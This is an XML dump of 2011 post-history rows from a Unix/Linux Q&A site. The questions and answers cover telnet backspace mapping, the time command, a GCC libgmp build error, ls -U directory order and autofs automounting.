  <row Id="33361" PostHistoryTypeId="2" PostId="13446" RevisionGUID="30038006-ef1a-43e4-8970-87f67f76f6ba" CreationDate="2011-05-19T13:29:57.710" UserId="7603" Text="Try this: &#xD;&#xA;&#xD;&#xA;CTRL+Q = XON and &#xD;&#xA;CTRL+S = XOFF&#xD;&#xA;&#xD;&#xA;On putty worked.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33362" PostHistoryTypeId="2" PostId="13447" RevisionGUID="f190ce71-2bd5-436a-a06f-91a95c504b0d" CreationDate="2011-05-19T13:37:11.663" UserId="173" Text="I don't think it is possible to obtain such information after the process has already finished.&#xD;&#xA;&#xD;&#xA;If you know beforehand that you will need that information, you can run the command as&#xD;&#xA;&#xD;&#xA;    time &lt;command&gt;&#xD;&#xA;&#xD;&#xA;e.g.&#xD;&#xA;&#xD;&#xA;    ~&gt; time sleep 1&#xD;&#xA;    &#xD;&#xA;    real        0m1.003s&#xD;&#xA;    user        0m0.002s&#xD;&#xA;    sys	        0m0.001s" />
  <row Id="33363" PostHistoryTypeId="5" PostId="13444" RevisionGUID="66b5246e-a985-41a2-a2fa-9af46901adad" CreationDate="2011-05-19T13:41:45.017" UserId="6766" Comment="added 18 characters in body" Text="I finally found an answer in [Anne Baretta's Linux Keyboard Hall of Shame](http://www.ibb.net/~anne/keyboard/keyboard.html)... it seems that **changing key mappings in `xterm` / `rxvt` does no good for `telnet`**.&#xD;&#xA;&#xD;&#xA;I validated this when I sniffed the telnet connection.  First I sniffed the telnet session and saw that &lt;kbd&gt;Backspace&lt;/kbd&gt; sent `0x7f` to the host. Next I intentionally broke &lt;kbd&gt;Backspace&lt;/kbd&gt; in `rxvt` using `stty erase $` (thus mapping my Backspace to the dollar sign in `rxvt`).    After doing this, I had to hit &lt;kbd&gt;$&lt;/kbd&gt; to backspace in `rxvt`, but `telnet` still sent `0x7f` when I used &lt;kbd&gt;Backspace&lt;/kbd&gt; on the remote host.&#xD;&#xA;&#xD;&#xA;SOLUTION&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/expect&#xD;&#xA;    &#xD;&#xA;    #Name this file as kbdfix and make it executable in your path&#xD;&#xA;    eval spawn -noecho $argv&#xD;&#xA;    &#xD;&#xA;    interact {&#xD;&#xA;     \177        {send &quot;\010&quot;}&#xD;&#xA;     &quot;\033\[3~&quot;  {send &quot;\177&quot;}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Now to connect to the broken hosts, I type `kbdfix telnet 192.168.12.117 2006`, and &lt;kbd&gt;Backspace&lt;/kbd&gt; works.&#xD;&#xA;&#xD;&#xA;Note for anyone confused by 2006 above... that is the TCP port that the Cisco term server uses for the serial connection to the console of the broken device (in this case, a Brocade FCX switch)." />
  <row Id="33364" PostHistoryTypeId="5" PostId="13413" RevisionGUID="eb05757e-6904-4060-8455-2dd29a451588" CreationDate="2011-05-19T13:51:44.707" UserId="6766" Comment="added 3 characters in body; edited tags" Text="I have some devices connected to a Cisco serial term server; many work fine when I `telnet` directly to the port on the Cisco.  However, I have a few stubborn devices that will not use &lt;kbd&gt;Backspace&lt;/kbd&gt; as it is mapped in telnet by default.&#xD;&#xA;&#xD;&#xA;In case it matters, I telnet from `rxvt` under Debian squeeze (in an X Window).  `TERM` is set to `rxvt`, but it doesn't matter whether I use `vt100`, `vt101`, or `xterm`... changing `TERM` has no effect.  I started down the road of changing `TERM` based on what I saw in an [old Kermit FAQ](http://www.columbia.edu/kermit/backspace.html).  FWIW, `stty erase ^h` and `stty erase ^?` don't work either.&#xD;&#xA;&#xD;&#xA;I have noticed that &lt;kbd&gt;Backspace&lt;/kbd&gt; works correctly on these devices if I use a raw TCP socket from `netcat`... i.e. `nc 192.168.12.117 2006`; however, then I run into other issues with passwords not hidden or terminal paging.&#xD;&#xA;&#xD;&#xA;How can I selectively force telnet to map &lt;kbd&gt;Backspace&lt;/kbd&gt; to &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; for these devices?  Also, what criteria should I use to evaluate whether this is a bug in the device?&#xD;&#xA;&#xD;&#xA;EDIT&#xD;&#xA;---&#xD;&#xA;In case it matters, this is the output from `showkey -a` for the keys in question... `^?` corresponds to &lt;kbd&gt;Backspace&lt;/kbd&gt; and `^H` is &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;.  It seems like I should be getting close when I look at [The Linux Keyboard and Console Howto](http://tldp.org/HOWTO/Keyboard-and-Console-HOWTO-15.html), but I can't seem to decipher what I can do to change this.  I have tried various incantations with `loadkeys` to no effect.&#xD;&#xA;&#xD;&#xA;    [mpenning@hotcoffee docs]$ sudo showkey -a&#xD;&#xA;    &#xD;&#xA;    Press any keys - Ctrl-D will terminate this program&#xD;&#xA;    &#xD;&#xA;    ^?      127 0177 0x7f&#xD;&#xA;    ^H        8 0010 0x08&#xD;&#xA;&#xD;&#xA;I am also including relevant output from `dumpkeys` as well... this is the current mapping in my system (which doesn't work on some devices in question).  If I could figure out how to get &lt;kbd&gt;Backspace&lt;/kbd&gt; to do the same thing as &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;, I would have a solution.&#xD;&#xA;&#xD;&#xA;    [mpenning@hotcoffee docs]$ sudo dumpkeys | grep -Ei &quot;backspace|127&quot;&#xD;&#xA;    keycode   8 = BackSpace        ampersand        braceleft       &#xD;&#xA;    keycode  14 = BackSpace        Delete          &#xD;&#xA;            control keycode  14 = BackSpace       &#xD;&#xA;    keycode 127 =&#xD;&#xA;    [mpenning@hotcoffee docs]$" />
  <row Id="33365" PostHistoryTypeId="6" PostId="13413" RevisionGUID="eb05757e-6904-4060-8455-2dd29a451588" CreationDate="2011-05-19T13:51:44.707" UserId="6766" Comment="added 3 characters in body; edited tags" Text="élinuxàéterminalàéterminalöemulatoràételnetàérxvtà" />
  <row Id="33366" PostHistoryTypeId="2" PostId="13448" RevisionGUID="7056c3e1-405b-4c43-870f-cd12f464a45a" CreationDate="2011-05-19T13:56:24.920" UserId="4485" Text="A short script, xfun:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    b=$(basename $1 .xmp)&#xD;&#xA;    # echo &quot;tar -cjf $b.tar.bz2 $b.xmp $b.nef&quot;&#xD;&#xA;    tar -cjf $b.tar.bz2 $b.xmp $b.nef&#xD;&#xA;&#xD;&#xA;Invocation:&#xD;&#xA;&#xD;&#xA;    find -name &quot;*xmp&quot; -execdir ./xfun {} &quot;;&quot; " />
  <row Id="33367" PostHistoryTypeId="5" PostId="13403" RevisionGUID="90dddd67-9b23-4415-821e-2bd39e4c628e" CreationDate="2011-05-19T14:29:32.373" UserId="1875" Comment="edited body" Text="I'm having a weired issue wih my Fedora 14 recently. Many details involed. Let's start from this:&#xD;&#xA;&#xD;&#xA;I've been using Fedora 14 for months, and recent few days, offten I can't access Internet for hours. I can verify by a iPod Touch that connected to the same router, that the connection is fine. &#xD;&#xA;&#xD;&#xA;Say the `traceroute` below. Any tips? &#xD;&#xA;&#xD;&#xA;**-- updates --**&#xD;&#xA;&#xD;&#xA;The computer has two network devices, eth0 and wlan0.&#xD;&#xA;&#xD;&#xA;When having the problem in Linux, I can't access Internet from neither. But if booted into Windows 7 on the same machine and the same time, Internet is available via wlan0, but not eth0!&#xD;&#xA;&#xD;&#xA;It sounds like that eth0 is broken? But I can use SSH and HTTPS via eth0 under Linux. &#xD;&#xA;&#xD;&#xA;Now it's fine again. But I suspect it will happens again in few days. I'll post the tcpTraceroute then. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA; **traceroute on Linux**&#xD;&#xA;&#xD;&#xA;    traceroute to 163.com (220.181.8.178), 30 hops max, 60 byte packets&#xD;&#xA;     1  * * *&#xD;&#xA;     2  58.246.230.1 (58.246.230.1)  6.228 ms * *&#xD;&#xA;     3  * * *&#xD;&#xA;     4  * * *&#xD;&#xA;     5  * * *&#xD;&#xA;     6  * * 112.64.243.170 (112.64.243.170)  6.627 ms&#xD;&#xA;     7  * * *&#xD;&#xA;     8  219.158.15.141 (219.158.15.141)  7.874 ms * *&#xD;&#xA;     9  * * *&#xD;&#xA;    10  * * *&#xD;&#xA;    11  * * *&#xD;&#xA;    12  * * 202.97.53.21 (202.97.53.21)  57.812 ms&#xD;&#xA;    13  * * *&#xD;&#xA;    14  220.181.16.138 (220.181.16.138)  57.633 ms * *&#xD;&#xA;    15  * * *&#xD;&#xA;    16  * * *&#xD;&#xA;    17  * * *&#xD;&#xA;    18  * * 220.181.8.178 (220.181.8.178)  59.643 ms&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;**traceroute on Router (Tomato)**&#xD;&#xA;&#xD;&#xA;    traceroute to 163.com (220.181.8.90), 30 hops max, 38 byte packets&#xD;&#xA;     1  58.246.230.1 (58.246.230.1)  2.178 ms  2.125 ms  9.450 ms&#xD;&#xA;     2  112.64.245.49 (112.64.245.49)  1.491 ms  1.361 ms  1.104 ms&#xD;&#xA;     3  112.64.245.37 (112.64.245.37)  1.647 ms  1.351 ms  1.712 ms&#xD;&#xA;     4  112.64.247.1 (112.64.247.1)  1.911 ms  4.424 ms  2.837 ms&#xD;&#xA;     5  112.64.243.170 (112.64.243.170)  2.322 ms  2.242 ms  2.126 ms&#xD;&#xA;     6  112.64.243.89 (112.64.243.89)  2.903 ms  2.345 ms  2.032 ms&#xD;&#xA;     7  219.158.21.237 (219.158.21.237)  3.180 ms  2.553 ms  2.501 ms&#xD;&#xA;     8  219.158.96.49 (219.158.96.49)  25.018 ms  24.734 ms  24.605 ms&#xD;&#xA;     9  219.158.5.82 (219.158.5.82)  24.555 ms  24.450 ms  24.473 ms&#xD;&#xA;    10  219.158.35.2 (219.158.35.2)  53.599 ms  77.827 ms  53.791 ms&#xD;&#xA;    11  202.97.53.21 (202.97.53.21)  55.111 ms  54.861 ms  55.390 ms&#xD;&#xA;    12  220.181.16.2 (220.181.16.2)  55.531 ms  56.193 ms  55.430 ms&#xD;&#xA;    13  220.181.16.138 (220.181.16.138)  52.883 ms  56.370 ms  54.770 ms&#xD;&#xA;    14  220.181.17.58 (220.181.17.58)  61.931 ms  51.274 ms  53.879 ms&#xD;&#xA;    15  220.181.8.90 (220.181.8.90)  50.331 ms  50.219 ms  50.177 ms" />
  <row Id="33368" PostHistoryTypeId="5" PostId="13425" RevisionGUID="7ed9ca66-1b66-4dc8-9616-59c75855b1df" CreationDate="2011-05-19T14:37:43.663" UserId="885" Comment="note about needing to run stty on the application side" Text="Programs are supposed to query the terminal settings to find out what the backspace character is (`^h` and `^?`, i.e. `\010` and `\177`, are the two choices out there). Use `stty erase '^h'` or `stty erase '^?'` to declare what your terminal sends.&#xD;&#xA;&#xD;&#xA;If you log in remotely (with telnet, rsh or ssh) inside the terminal, note that you must run `stty` **on the application side**. `stty` doesn't tell the terminal to do anything different, it informs the local terminal driver (i.e. the part that interfaces with applications running in the terminal) about the terminal (historically a physical object, now a terminal emulator) settings. Similarly, if you run Screen or similar terminal-in-terminal software, you need to run `stty` in each screen window (but usually Screen can be configured to do the right thing from its configuration file, if it doesn't work out of the box).&#xD;&#xA;&#xD;&#xA;There are broken programs out there that don't care about the terminal settings. Looks like you've encountered one of them. Your best bet is to change your terminal's configuration.&#xD;&#xA;&#xD;&#xA;With xterm, it's easy: there's a setting to toggle the character sent by the &lt;kbd&gt;BackSpace&lt;/kbd&gt; key at run-time. From the left button menu, toggle “Delete is DEL”. Programmatically, send the [escape sequence](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms) `\e[?67h` to have &lt;kbd&gt;BackSpace&lt;/kbd&gt; send `^h`, or `\e[?67l` to have &lt;kbd&gt;BackSpace&lt;/kbd&gt; send `^?`. The corresponding resource is `XTerm.backarrowKeyIsErase`. Other terminal emulators may or may not have a similar interface feature or support the escape sequence.&#xD;&#xA;&#xD;&#xA;Many terminal emulators send one of `^h` or `^?` when you press &lt;kbd&gt;BackSpace&lt;/kbd&gt;, and the other character when you press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;BackSpace&lt;/kbd&gt;. This can be useful in a pinch.&#xD;&#xA;&#xD;&#xA;Note that `showkeys` and friends are only relevant on the Linux console, not within X.&#xD;&#xA;" />
  <row Id="33369" PostHistoryTypeId="5" PostId="13425" RevisionGUID="297ad514-2be0-41c3-95c1-aa6201c5dbf7" CreationDate="2011-05-19T14:49:57.440" UserId="885" Comment="added note about remote device" Text="Programs are supposed to query the terminal settings to find out what the backspace character is (`^h` and `^?`, i.e. `\010` and `\177`, are the two choices out there). Use `stty erase '^h'` or `stty erase '^?'` to declare what your terminal sends.&#xD;&#xA;&#xD;&#xA;If you log in remotely (with telnet, rsh or ssh) inside the terminal, note that you must run `stty` **on the application side**. `stty` doesn't tell the terminal to do anything different, it informs the local terminal driver (i.e. the part that interfaces with applications running in the terminal) about the terminal (historically a physical object, now a terminal emulator) settings. Similarly, if you run Screen or similar terminal-in-terminal software, you need to run `stty` in each screen window (but usually Screen can be configured to do the right thing from its configuration file, if it doesn't work out of the box).&#xD;&#xA;&#xD;&#xA;There are broken programs out there that don't care about the terminal settings. Looks like you've encountered one of them. Your best bet is to change your terminal's configuration. The same goes if you need to communicate with a device over a remote protocol such as telnet or SSH and the device is not configurable.&#xD;&#xA;&#xD;&#xA;With xterm, it's easy: there's a setting to toggle the character sent by the &lt;kbd&gt;BackSpace&lt;/kbd&gt; key at run-time. From the left button menu, toggle “Delete is DEL”. Programmatically, send the [escape sequence](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms) `\e[?67h` to have &lt;kbd&gt;BackSpace&lt;/kbd&gt; send `^h`, or `\e[?67l` to have &lt;kbd&gt;BackSpace&lt;/kbd&gt; send `^?`. The corresponding resource is `XTerm.backarrowKeyIsErase`. Other terminal emulators may or may not have a similar interface feature or support the escape sequence.&#xD;&#xA;&#xD;&#xA;Many terminal emulators send one of `^h` or `^?` when you press &lt;kbd&gt;BackSpace&lt;/kbd&gt;, and the other character when you press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;BackSpace&lt;/kbd&gt;. This can be useful in a pinch.&#xD;&#xA;&#xD;&#xA;Note that `showkeys` and friends are only relevant on the Linux console, not within X.&#xD;&#xA;" />
  <row Id="33370" PostHistoryTypeId="5" PostId="13446" RevisionGUID="258a4ed8-e496-4e20-8b9a-5d2cd00f6937" CreationDate="2011-05-19T15:04:36.977" UserId="73" Comment="added 45 characters in body" Text="Try this, it worked for me on putty:&#xD;&#xA;&#xD;&#xA;* &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Q&lt;/kbd&gt; - XON&#xD;&#xA;* &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; - XOFF&#xD;&#xA;" />
  <row Id="33371" PostHistoryTypeId="5" PostId="13425" RevisionGUID="3e072cb0-26f9-44c5-8b0a-ad67207894b8" CreationDate="2011-05-19T15:06:48.037" UserId="885" Comment="explain the difference between netcat and telnet" Text="Programs are supposed to query the terminal settings to find out what the backspace character is (`^h` and `^?`, i.e. `\010` and `\177`, are the two choices out there). Use `stty erase '^h'` or `stty erase '^?'` to declare what your terminal sends.&#xD;&#xA;&#xD;&#xA;If you log in remotely (with telnet, rsh or ssh) inside the terminal, note that you must run `stty` **on the application side**. `stty` doesn't tell the terminal to do anything different, it informs the local terminal driver (i.e. the part that interfaces with applications running in the terminal) about the terminal (historically a physical object, now a terminal emulator) settings. Similarly, if you run Screen or similar terminal-in-terminal software, you need to run `stty` in each screen window (but usually Screen can be configured to do the right thing from its configuration file, if it doesn't work out of the box).&#xD;&#xA;&#xD;&#xA;The difference in behavior that you observe from `netcat` vs. `telnet` is due to the way the terminal is used:&#xD;&#xA;* In netcat, the terminal is in line-by-line mode (also called “cooked mode”). You edit a line (using the local terminal's built-in edition feature, and so in particular the local stty settings), then send it in its final state to the remote host.&#xD;&#xA;* In telnet, the (local) terminal is in character-by-character mode (also called “raw mode”). Every keystroke goes directly to telnet which relays it immediately to the remote system. You are dependent on the remote system's line edition features.&#xD;&#xA;&#xD;&#xA;There are broken programs out there that don't care about the terminal settings. Looks like you've encountered one of them. Your best bet is to change your terminal's configuration. The same goes if you need to communicate with a device over a remote protocol such as telnet or SSH and the device is not configurable.&#xD;&#xA;&#xD;&#xA;With xterm, it's easy: there's a setting to toggle the character sent by the &lt;kbd&gt;BackSpace&lt;/kbd&gt; key at run-time. From the left button menu, toggle “Delete is DEL”. Programmatically, send the [escape sequence](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms) `\e[?67h` to have &lt;kbd&gt;BackSpace&lt;/kbd&gt; send `^h`, or `\e[?67l` to have &lt;kbd&gt;BackSpace&lt;/kbd&gt; send `^?`. The corresponding resource is `XTerm.backarrowKeyIsErase`. Other terminal emulators may or may not have a similar interface feature or support the escape sequence.&#xD;&#xA;&#xD;&#xA;Many terminal emulators send one of `^h` or `^?` when you press &lt;kbd&gt;BackSpace&lt;/kbd&gt;, and the other character when you press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;BackSpace&lt;/kbd&gt;. This can be useful in a pinch.&#xD;&#xA;&#xD;&#xA;Note that `showkeys` and friends are only relevant on the Linux console, not within X.&#xD;&#xA;" />
  <row Id="33372" PostHistoryTypeId="25" PostId="13445" RevisionGUID="9d895ae6-7e4c-4d54-8887-76736456c8dc" CreationDate="2011-05-19T15:12:24.943" Comment="http://twitter.com/#!/StackUnix/status/71231738835247104" />
  <row Id="33373" PostHistoryTypeId="2" PostId="13449" RevisionGUID="ef57619a-e57a-44f2-b6a2-00de9147e55c" CreationDate="2011-05-19T15:28:25.553" UserId="7609" Text="I'm attempting to compile GCC 4.5.2 as part of the Linux from Scratch book ([http://www.linuxfromscratch.org/lfs/view/stable/chapter05/gcc-pass1.html][1]). My configure is as follows:&#xD;&#xA;&#xD;&#xA;    ./configure \&#xD;&#xA;        --target=$LFS_TGT --prefix=/tools \&#xD;&#xA;        --disable-nls --disable-shared --disable-multilib \&#xD;&#xA;        --disable-decimal-float --disable-threads \&#xD;&#xA;        --disable-libmudflap --disable-libssp \&#xD;&#xA;        --disable-libgomp --enable-languages=c \&#xD;&#xA;        --with-gmp-include=$(pwd)/gmp --with-gmp-lib=$(pwd)/gmp/.libs \&#xD;&#xA;        --without-ppl --without-cloog&#xD;&#xA;    &#xD;&#xA;When I attempt to **make** I get the error (after digging around in config.logs):&#xD;&#xA;&#xD;&#xA;*error while loading shared libraries: libgmp.so.10: cannot open shared object file: No such file or directory*&#xD;&#xA;&#xD;&#xA;I have *gmp* in a subdirectory and got to this point after successfully compiling it. How can I point GCC to use this library?&#xD;&#xA;&#xD;&#xA;If it's relevant: I'm using an Ubuntu 11 host. Any ideas?&#xD;&#xA;&#xD;&#xA;With thanks.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfromscratch.org/lfs/view/stable/chapter05/gcc-pass1.html" />
  <row Id="33374" PostHistoryTypeId="1" PostId="13449" RevisionGUID="ef57619a-e57a-44f2-b6a2-00de9147e55c" CreationDate="2011-05-19T15:28:25.553" UserId="7609" Text="Cannot find libgmp when compiling GCC 4.5.2" />
  <row Id="33375" PostHistoryTypeId="3" PostId="13449" RevisionGUID="ef57619a-e57a-44f2-b6a2-00de9147e55c" CreationDate="2011-05-19T15:28:25.553" UserId="7609" Text="émakeàégccà" />
  <row Id="33376" PostHistoryTypeId="2" PostId="13450" RevisionGUID="7d4660c1-4612-4cae-b8a3-966a53d536f8" CreationDate="2011-05-19T15:32:36.627" UserId="6141" Text="Perhaps, I should have persisted a little longer before posting, but any suggestions for improvement are still more than welcome.&#xD;&#xA;&#xD;&#xA;In the end I found this [documentation useful from vimtips](http://vim.wikia.com/wiki/Online_documentation_for_word_under_cursor).&#xD;&#xA;&#xD;&#xA;This was the Vim function I wrote:&#xD;&#xA;&#xD;&#xA;    function! OpenBibtexPDF()&#xD;&#xA;        let s:word = expand(&quot;&lt;cword&gt;&quot;)&#xD;&#xA;        let s:cmd = &quot;!gnome-open `find ~/lib/ -iname '&quot; . s:word . &quot;.pdf' | head -1`&quot;&#xD;&#xA;        execute s:cmd&#xD;&#xA;    endfunction &#xD;&#xA;    map &lt;silent&gt; &lt;leader&gt;bb :call OpenBibtexPDF()&lt;cr&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33377" PostHistoryTypeId="5" PostId="13449" RevisionGUID="a298d52b-9a24-4b8a-acef-0b8031b9acd1" CreationDate="2011-05-19T15:44:35.400" UserId="7609" Comment="added 166 characters in body" Text="I'm attempting to compile GCC 4.5.2 as part of the Linux from Scratch book ([http://www.linuxfromscratch.org/lfs/view/stable/chapter05/gcc-pass1.html][1]). My configure is as follows:&#xD;&#xA;&#xD;&#xA;    ./configure \&#xD;&#xA;        --target=$LFS_TGT --prefix=/tools \&#xD;&#xA;        --disable-nls --disable-shared --disable-multilib \&#xD;&#xA;        --disable-decimal-float --disable-threads \&#xD;&#xA;        --disable-libmudflap --disable-libssp \&#xD;&#xA;        --disable-libgomp --enable-languages=c \&#xD;&#xA;        --with-gmp-include=$(pwd)/gmp --with-gmp-lib=$(pwd)/gmp/.libs \&#xD;&#xA;        --without-ppl --without-cloog&#xD;&#xA;    &#xD;&#xA;When I attempt to **make** I get the error (after digging around in config.logs):&#xD;&#xA;&#xD;&#xA;*error while loading shared libraries: libgmp.so.10: cannot open shared object file: No such file or directory*&#xD;&#xA;&#xD;&#xA;I have *gmp* in a subdirectory and got to this point after successfully compiling it. How can I point GCC to use this library?&#xD;&#xA;&#xD;&#xA;I'm going through LFS in an attempt to get myself more familiar with Linux behaviour. I've jumped over a fair few hurdles but this particular case is stumping me.&#xD;&#xA;&#xD;&#xA;If it's relevant: I'm using an Ubuntu 11 host. Any ideas?&#xD;&#xA;&#xD;&#xA;With thanks.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfromscratch.org/lfs/view/stable/chapter05/gcc-pass1.html" />
  <row Id="33378" PostHistoryTypeId="2" PostId="13451" RevisionGUID="924afa4b-02ea-4096-9e7c-5bc1a94e5b80" CreationDate="2011-05-19T15:49:55.207" UserId="332" Text="According to the man page for ls, &quot;ls -U&quot; means:  &#xD;&#xA;&quot;do not sort; list entries in directory order&quot;.  &#xD;&#xA;What does &quot;directory order&quot; mean, how is it determined?&#xD;&#xA;&#xD;&#xA;The following test (executed on an ext3 file system) shows, that it is not the order in which the files were created: &#xD;&#xA;&#xD;&#xA;    root@sv1010vm0007:/tmp# mkdir test&#xD;&#xA;    root@sv1010vm0007:/tmp# touch test/2&#xD;&#xA;    root@sv1010vm0007:/tmp# touch test/1&#xD;&#xA;    root@sv1010vm0007:/tmp# touch test/3&#xD;&#xA;    root@sv1010vm0007:/tmp# ls -U test&#xD;&#xA;    2  3  1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33379" PostHistoryTypeId="1" PostId="13451" RevisionGUID="924afa4b-02ea-4096-9e7c-5bc1a94e5b80" CreationDate="2011-05-19T15:49:55.207" UserId="332" Text="What ist the &quot;directory oder&quot; of files in a directory (used by &quot;ls -U&quot;)" />
  <row Id="33380" PostHistoryTypeId="3" PostId="13451" RevisionGUID="924afa4b-02ea-4096-9e7c-5bc1a94e5b80" CreationDate="2011-05-19T15:49:55.207" UserId="332" Text="éfilesystemsàélsà" />
  <row Id="33381" PostHistoryTypeId="2" PostId="13452" RevisionGUID="37577dfc-6e81-4881-a1e3-45fb7a7a527b" CreationDate="2011-05-19T16:12:36.863" UserId="2594" Text="Indeed, there is no specific order to expect. It's up to the OS and file system implementation to order the entries the way it likes. One goal of this option is to get the faster listing possible which can be a significant factor with very large directories. " />
  <row Id="33382" PostHistoryTypeId="2" PostId="13453" RevisionGUID="5aeae228-7c8b-49d9-9e34-ecb5aa8bf7f7" CreationDate="2011-05-19T16:13:21.957" UserId="31" Text="It is the order that the entries are stored internally in the filesystem.  This will vary from filesystem to filesystem.  For instance, the entires may be stored in some kind of balanced tree, such as a [Red-Black Tree][1].  There may be further optimizations for directories with a small number of entries, or to deal efficiently with additions and removals. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Red_black_tree" />
  <row Id="33384" PostHistoryTypeId="2" PostId="13455" RevisionGUID="1aa27879-fcaa-461f-b083-e8dd9b19d5a9" CreationDate="2011-05-19T16:37:57.023" UserId="2847" Text="Continuing on http://unix.stackexchange.com/questions/4177/automounting-plugged-devices-in-linux, which left things a bit basic. Running Gentoo, I'm automounting a combination of local and network devices on my laptop with autofs-5.0.4-r5. Doing autofs alone gives me a couple of gripes: &#xD;&#xA;&#xD;&#xA; * I have to predefine names for mountpoints per device, but occasionally after rebooting my MMC card reader switches positions with my bootable USB stick&#xD;&#xA; * I'd like automatic LABEL based mountpoints to appear, autofs alone AFAIK can't do that&#xD;&#xA;&#xD;&#xA;Which is what udev and udisks are certainly capable of doing. But:&#xD;&#xA;&#xD;&#xA; * I don't want the filesystem to be mounted automatically when plugging the device, just give me the ghost mount point named LABEL&#xD;&#xA;&#xD;&#xA;Actual filesystem mounting should only occur on first access to the mountpoint, just like autofs ghosting works. This should lower the risk of dirtying filesystems by accidentally unplugging devices, while still providing great accessibility.&#xD;&#xA;&#xD;&#xA;On top of this I could use knowing at all times what's going on, in my DE.&#xD;&#xA;&#xD;&#xA; * Is there a system tray app that is capable of indicating status of all automounts i.e. green = nothing is mounted, red = something is mounted?&#xD;&#xA;&#xD;&#xA;This combo should be the ultimate automount setup, or am I missing something?" />
  <row Id="33385" PostHistoryTypeId="1" PostId="13455" RevisionGUID="1aa27879-fcaa-461f-b083-e8dd9b19d5a9" CreationDate="2011-05-19T16:37:57.023" UserId="2847" Text="Suggestions needed for udev, udisks, autofs, tray indicator setup for a complete automounting solution on Linux" />
  <row Id="33386" PostHistoryTypeId="3" PostId="13455" RevisionGUID="1aa27879-fcaa-461f-b083-e8dd9b19d5a9" CreationDate="2011-05-19T16:37:57.023" UserId="2847" Text="égentooàéautomountingàéudevàéautofsà" />
  <row Id="33387" PostHistoryTypeId="2" PostId="13456" RevisionGUID="5bf1bcf5-627a-47d6-bc39-35514abaf87a" CreationDate="2011-05-19T16:48:32.777" UserId="732" Text="It depends on the filesystem.  For some filesystems (ext3 among them), a directory is actually a file with a well-known format, and the 'd' bit set in it's permissions or mode. In that case, the history of what length filenames have gotten created and deleted can matter.  The kernel will fill in the first entry in the directory file that has enough room to hold the new file's name.&#xD;&#xA;&#xD;&#xA;For some other filenames, Reiserfs among them, a directory is actually just some entries in a B+ tree that's not visible in the filesystem (http://en.wikipedia.org/wiki/ReiserFS#Design), so a plain `ls` of a directory in a Reiserfs filesystem is in lexical order.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33388" PostHistoryTypeId="2" PostId="13457" RevisionGUID="54b6ea8e-0aec-4612-94cf-e82ac1d4fbdb" CreationDate="2011-05-19T17:09:42.050" UserId="5763" Text="Directory is just another file, which list the metadata of actual files. &quot;ls -U&quot; just lists the entires in same order in the directory file. &#xD;&#xA;&#xD;&#xA;The order is determined by the OS and the filesystem implementation." />
  <row Id="33389" PostHistoryTypeId="2" PostId="13458" RevisionGUID="733f3fc0-d9b0-4589-b741-6395e5d1715a" CreationDate="2011-05-19T17:26:24.627" UserId="7505" Text="Add the path to GMP using the below switch, add that to your configure statement.&#xD;&#xA;&#xD;&#xA;    --with-gmp=$(PWD)/gmp" />
  <row Id="33390" PostHistoryTypeId="5" PostId="13451" RevisionGUID="007f51d8-3bd7-41c7-a070-8bd2d449c077" CreationDate="2011-05-19T17:38:00.943" UserId="4671" Comment="minor typo fixes and formatting changes" Text="According to the man page for ls, `ls -U` means:  &#xD;&#xA;&#xD;&#xA;&gt; do not sort; list entries in directory order.&#xD;&#xA;  &#xD;&#xA;What does &quot;directory order&quot; mean, and how is it determined?&#xD;&#xA;&#xD;&#xA;The following test (executed on an ext3 file system), shows that it is not the order in which the files were created: &#xD;&#xA;&#xD;&#xA;    root@sv1010vm0007:/tmp# mkdir test&#xD;&#xA;    root@sv1010vm0007:/tmp# touch test/2&#xD;&#xA;    root@sv1010vm0007:/tmp# touch test/1&#xD;&#xA;    root@sv1010vm0007:/tmp# touch test/3&#xD;&#xA;    root@sv1010vm0007:/tmp# ls -U test&#xD;&#xA;    2  3  1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33391" PostHistoryTypeId="4" PostId="13451" RevisionGUID="007f51d8-3bd7-41c7-a070-8bd2d449c077" CreationDate="2011-05-19T17:38:00.943" UserId="4671" Comment="minor typo fixes and formatting changes" Text="What is the &quot;directory order&quot; of files in a directory (used by `ls -U`)?" />
  <row Id="33392" PostHistoryTypeId="24" PostId="13451" RevisionGUID="007f51d8-3bd7-41c7-a070-8bd2d449c077" CreationDate="2011-05-19T17:38:00.943" Comment="Proposed by 4671 approved by 73 edit id of 382" />
